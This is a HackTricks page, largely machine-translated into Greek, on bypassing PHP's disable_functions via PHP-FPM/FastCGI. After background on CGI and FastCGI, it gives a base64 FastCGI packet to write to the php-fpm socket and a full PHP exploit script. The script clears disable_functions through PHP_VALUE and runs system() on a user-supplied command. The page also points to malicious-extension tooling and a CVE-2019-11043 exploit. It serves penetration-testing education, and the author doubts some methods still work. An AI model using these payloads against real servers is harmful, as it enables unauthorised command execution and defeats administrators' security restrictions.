disable_functions bypass - php-fpm/FastCGI

Υποστήριξη HackTricks

PHP-FPM

PHP-FPM παρουσιάζεται ως μια ανώτερη εναλλακτική της τυπικής PHP FastCGI, προσφέροντας χαρακτηριστικά που είναι ιδιαίτερα ωφέλιμα για ιστοσελίδες με υψηλή επισκεψιμότητα. Λειτουργεί μέσω μιας κύριας διαδικασίας που επιβλέπει μια συλλογή εργατικών διαδικασιών. Για ένα αίτημα PHP script, είναι ο web server που ξεκινά μια σύνδεση FastCGI proxy με την υπηρεσία PHP-FPM. Αυτή η υπηρεσία έχει τη δυνατότητα να λαμβάνει αιτήματα είτε μέσω δικτυακών θυρών στον server είτε μέσω Unix sockets.

Παρά τον ενδιάμεσο ρόλο της σύνδεσης proxy, το PHP-FPM πρέπει να είναι λειτουργικό στην ίδια μηχανή με τον web server. Η σύνδεση που χρησιμοποιεί, αν και βασίζεται σε proxy, διαφέρει από τις συμβατικές συνδέσεις proxy. Μετά την παραλαβή ενός αιτήματος, ένας διαθέσιμος εργαζόμενος από το PHP-FPM το επεξεργάζεται—εκτελώντας το PHP script και στη συνέχεια προωθώντας τα αποτελέσματα πίσω στον web server. Αφού ένας εργαζόμενος ολοκληρώσει την επεξεργασία ενός αιτήματος, γίνεται ξανά διαθέσιμος για επερχόμενα αιτήματα.

Αλλά τι είναι το CGI και το FastCGI;

CGI

Κανονικά, οι ιστοσελίδες, τα αρχεία και όλα τα έγγραφα που μεταφέρονται από τον web server στον browser αποθηκεύονται σε έναν συγκεκριμένο δημόσιο κατάλογο όπως home/user/public_html. Όταν ο browser ζητά συγκεκριμένο περιεχόμενο, ο server ελέγχει αυτόν τον κατάλογο και στέλνει το απαιτούμενο αρχείο στον browser.

Αν CGI είναι εγκατεστημένο στον server, ο συγκεκριμένος κατάλογος cgi-bin προστίθεται επίσης εκεί, για παράδειγμα home/user/public_html/cgi-bin. Τα CGI scripts αποθηκεύονται σε αυτόν τον κατάλογο. Κάθε αρχείο στον κατάλογο αντιμετωπίζεται ως εκτελέσιμο πρόγραμμα. Όταν αποκτάτε πρόσβαση σε ένα script από τον κατάλογο, ο server στέλνει αίτημα στην εφαρμογή, υπεύθυνη για αυτό το script, αντί να στείλει το περιεχόμενο του αρχείου στον browser. Αφού ολοκληρωθεί η επεξεργασία των δεδομένων εισόδου, η εφαρμογή στέλνει τα δεδομένα εξόδου στον web server που προωθεί τα δεδομένα στον HTTP client.

Για παράδειγμα, όταν αποκτάται πρόσβαση στο CGI script http://mysitename.com/cgi-bin/file.pl, ο server θα εκτελέσει την κατάλληλη εφαρμογή Perl μέσω CGI. Τα δεδομένα που παράγονται από την εκτέλεση του script θα σταλούν από την εφαρμογή στον web server. Ο server, από την άλλη πλευρά, θα μεταφέρει τα δεδομένα στον browser. Αν ο server δεν είχε CGI, ο browser θα είχε εμφανίσει τον κώδικα του αρχείου .pl. (εξήγηση από εδώ)

FastCGI

FastCGI είναι μια νεότερη τεχνολογία web, μια βελτιωμένη έκδοση του CGI καθώς η κύρια λειτουργικότητα παραμένει η ίδια.

Η ανάγκη ανάπτυξης του FastCGI προήλθε από την ταχεία ανάπτυξη και πολυπλοκότητα των εφαρμογών, καθώς και για να αντιμετωπιστούν οι ελλείψεις κλιμάκωσης της τεχνολογίας CGI. Για να καλυφθούν αυτές οι απαιτήσεις, Open Market εισήγαγε FastCGI – μια έκδοση υψηλής απόδοσης της τεχνολογίας CGI με ενισχυμένες δυνατότητες.

disable_functions bypass

Είναι δυνατόν να εκτελέσετε κώδικα PHP εκμεταλλευόμενοι το FastCGI και αποφεύγοντας τους περιορισμούς του disable_functions.

Μέσω Gopherus

Δεν είμαι σίγουρος αν αυτό λειτουργεί σε σύγχρονες εκδόσεις γιατί το δοκίμασα μια φορά και δεν εκτέλεσε τίποτα. Παρακαλώ, αν έχετε περισσότερες πληροφορίες σχετικά με αυτό, επικοινωνήστε μαζί μου μέσω [PEASS & HackTricks telegram group εδώ](https://t.me/peass), ή twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Χρησιμοποιώντας Gopherus μπορείτε να δημιουργήσετε ένα payload για να στείλετε στον FastCGI listener και να εκτελέσετε αυθαίρετες εντολές:

Στη συνέχεια, μπορείτε να πάρετε το urlencoded payload και να το αποκωδικοποιήσετε και να το μετατρέψετε σε base64, [χρησιμοποιώντας αυτή τη συνταγή του cyberchef για παράδειγμα](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). Και στη συνέχεια αντιγράψτε/επικολλήστε το base64 σε αυτόν τον κώδικα php:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Uploading and accessing this script the exploit is going to be sent to FastCGI (disabling disable_functions) and the καθορισμένες εντολές θα εκτελούνται.

PHP exploit

I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that phpinfo() from FastCGI execution indicated that disable_functions was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via [PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code from here.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Χρησιμοποιώντας τη προηγούμενη συνάρτηση θα δείτε ότι η συνάρτηση system είναι ακόμα απενεργοποιημένη αλλά η phpinfo() δείχνει ότι το disable_functions είναι κενό:

Έτσι, νομίζω ότι μπορείτε να ορίσετε το disable_functions μόνο μέσω αρχείων ρύθμισης php .ini και η PHP_VALUE δεν θα παρακάμψει αυτή τη ρύθμιση.

Αυτό είναι ένα script php για να εκμεταλλευτεί το πρωτόκολλο fastcgi για να παρακάμψει το open_basedir και το disable_functions. Θα σας βοηθήσει να παρακάμψετε αυστηρές ρυθμίσεις disable_functions για RCE φορτώνοντας την κακόβουλη επέκταση. Μπορείτε να το βρείτε εδώ: https://github.com/w181496/FuckFastcgi ή μια ελαφρώς τροποποιημένη και βελτιωμένη έκδοση εδώ: https://github.com/BorelEnzo/FuckFastcgi

Θα διαπιστώσετε ότι η εκμετάλλευση είναι πολύ παρόμοια με τον προηγούμενο κώδικα, αλλά αντί να προσπαθήσει να παρακάμψει το disable_functions χρησιμοποιώντας την PHP_VALUE, προσπαθεί να φορτώσει ένα εξωτερικό PHP module για να εκτελέσει κώδικα χρησιμοποιώντας τις παραμέτρους extension_dir και extension μέσα στη μεταβλητή PHP_ADMIN_VALUE. ΣΗΜΕΙΩΣΗ1: Πιθανώς θα χρειαστεί να ανακατασκευάσετε την επέκταση με την ίδια έκδοση PHP που χρησιμοποιεί ο διακομιστής (μπορείτε να το ελέγξετε μέσα στην έξοδο του phpinfo):

ΣΗΜΕΙΩΣΗ2: Κατάφερα να το κάνω να λειτουργήσει εισάγοντας τις τιμές extension_dir και extension μέσα σε ένα αρχείο ρύθμισης PHP .ini (κάτι που δεν θα μπορείτε να κάνετε επιτιθέμενοι σε έναν διακομιστή). Αλλά για κάποιο λόγο, όταν χρησιμοποιούσα αυτή την εκμετάλλευση και φόρτωνα την επέκταση από τη μεταβλητή PHP_ADMIN_VALUE, η διαδικασία απλώς σταμάτησε, οπότε δεν ξέρω αν αυτή η τεχνική είναι ακόμα έγκυρη.

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με phuip-fpizdam και να τη δοκιμάσετε χρησιμοποιώντας αυτό το περιβάλλον docker: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Μπορείτε επίσης να βρείτε μια ανάλυση της ευπάθειας εδώ.

Support HackTricks

Last updated